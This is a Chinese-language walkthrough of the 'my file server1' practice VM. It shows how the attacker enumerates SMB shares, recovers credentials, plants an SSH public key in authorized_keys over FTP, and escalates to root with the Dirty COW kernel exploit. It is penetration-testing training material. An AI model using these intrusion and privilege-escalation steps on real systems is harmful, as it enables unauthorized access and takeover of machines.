my file server1

环境配置

先导入虚拟机

设置网路为NAT，扫描iP

netdiscover -r 192.168.164.0/24

靶机ip：192.168.164.183
kali：192.168.164.137

渗透测试

先扫描端口

nmap -sS -sV -T5 -A -p- 192.168.164.183

开放了很多端口
访问80端口

没有什么特别的
再使用nikto扫描

nikto -h http://192.168.164.183

扫描到一个文件readme.txt，访问

获得了一个密码。
刚刚扫描发现445端口开放，使用smbmap对smb信息枚举
smbmap允许用户枚举整个域中的samba共享驱动器。列出共享驱动器，驱动器权限，共享内容，上载/下载功能，文件名自动下载模式匹配，甚至执行远程命令。

smbmap -H 192.168.164.183

发现 sbmdata有读写权限，使用smbclient来连接。

smbclient //192.168.164.183/smbdata

用刚刚的密码进行连接

把文件get下来
最后在secure中找到用户名和密码

用户：smbuser
密码：chauthtok
尝试用ssh登录

需要私钥
尝试ftp连接，密码为得到的rootroot1


查看ssh配置文件


发现用户密钥文件存放目录

然后在smbuser用户下创建文件，伪造公钥和私钥创建连接

pwd
cd /home/smbuser
mkdir .ssh

新打开一个窗口，创建公钥和私钥

ssh-keygen -t rsa

使用命令把公钥和私钥复制下来

cp /root/.ssh/* ./

然后上传公钥到.ssh/authorized_keys目录下

然后使用ssh连接，连接成功。

然后查看内核，使用脏牛尝试提权

uname -a

把脏牛文件上传到tmp目录下。

编译运行脏牛脚本

gcc -pthread dirty.c -o dirty -lcrypt

开始执行

拿到root权限后进入root目录下获取flag